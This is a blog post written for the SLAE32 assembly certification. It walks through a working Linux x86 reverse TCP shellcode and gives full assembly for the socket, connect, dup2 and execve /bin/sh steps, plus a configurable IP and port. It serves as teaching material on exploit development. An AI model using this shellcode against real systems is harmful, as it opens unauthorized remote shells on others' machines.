SLAE32 Assignment #2
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1372
This is the second of seven assignments in order to complete the SLAE (32bit) certification.
The main goal of the second assignment is to create a reverse TCP shellcode where:
- It must connect to a defined IP and Port
- It must execute a shell
- Both IP and Port must be easily configurable
In order to achieve the goal we must split the task into multIPle syscalls:
- Create the Socket
- Connect the Socket to address and port
- Redirect the stdin, stdout and stderr via dup2
- Finally, call execve with /bin/sh
Majority of the code used for this Assignment is from the previous one.
Like in the first Assignment the first part is the creation of a socket
; Create Socket ; eax = 102, ebx = 1, ecx = args array struct, stack [0,1,2] xor eax, eax ; reseting the register mov al, 0x66 ; syscall 102 (socketcall) xor ebx, ebx ; reseting the register push ebx ; 0 (protocol) inc ebx ; ebx = 1 push ebx ; 1 (SOCK_STREAM) push 0x2 ; 2 (AF_INET) mov ecx, esp ; ecx = args array struct int 0x80 ; syscall
Now that we created the socket the next step is to connect it to an address (127.1.1.1) and port 1337.
Connect the Socket to address and port
This is the only step that differs from the first assignment. In order to establish a remote connection it will be used the function SYS_CONNECT. The value of SYS_CONNECT is 3. Like in the previous assignment we start by putting the value 102 (0x66) into al in order to do a sys_socketcall.
The SYS_CONNECT takes the 3 following arguments (same case as BIND in the last assignment): - int sockfd (file descrIPtor) - const struct sockaddr *addr (structure) - socklen_t addrlen (address length)
Sockaddr contains: -sin_family (Address family) -sin_port (Port number) -sin_addr (Address)
To create the sockaddr structure we need to start by pushing the address (127.1.1.1 [null free shellcode :P]), followed by the port (1337) and finally 0x2 (ebx). The remaining part of the code is the same as the previous assignment.
; Connect Socket xchg edi, eax ; save the file descrIPtor for future use push dword 0x0101017f ; IP = 127.1.1.1 push word 0x3905 ; port = 1337 inc ebx ; ebx = 2 push bx ; 2 (AF_INET) mov ecx, esp ; ecx = args array struct push byte 0x10 ; addrlen push ecx ; sockaddr push edi ; fd mov al, 0x66 ; syscall 102 (socketcall) mov ecx, esp ; ecx = args array struct for the syscall inc ebx ; ebx = 3 int 0x80
Redirect the stdin, stdout and stderr via dup2
Just like in the first assignment we need to redirect the stdin, stdout and stderr using dup2.
xchg ebx, edi ; pass sockfd to ebx xor ecx, ecx ; reseting the register mov cl, 0x2 ; counter loop: mov al, 0x3f ; syscall 63 (dup2) int 0x80 ; syscall dec ecx ; decrement counter jns loop
Call execve with /bin/sh
Now that all the redirects are working as it should is time to use SYS_EXECVE to execute /bin/sh. Execve takes 3 arguments a pointer to the filename that we want to execute, argv is an array of argument strings passed to the new program and envp is an array of strings that is passed as environment to the new program.
;execve /bin/sh xor eax, eax ; reseting the register push eax ; string terminator push 0x68732f6e ; hs/n ; hs/n push 0x69622f2f ; ib// ; ib// mov ebx, esp ; ebx = //bin/sh push eax push ebx mov ecx,esp ; argv = [filename,0] mov edx, eax ; envp = 0 mov al, 0xb ; syscall 12 (execve) int 0x80 ; syscall
Now we can assemble and link. After executing we see that we receive a connection on port 1337 with a shell.
To finish this assignment we are just missing the port and IP address to be easily configurable. After disassembling the binary we found the hard coded port 1337 (pushw 0x3905) and the IP address (0x0101017f).
In order to be easily configurable we need to replace 0x3905 and 0x0101017f for the input of the user. To do that was created a python scrIPt that concatenate all the bytes prior to the IP with the new IP bytes followed by \x66\x68 followed by the port bytes with the rest of the shellcode.
The Python script takes 2 arguments. The first argument is the IP address and the second is the port. If the IP and port are null free the shellcode will be null free.
All the code can be found in my github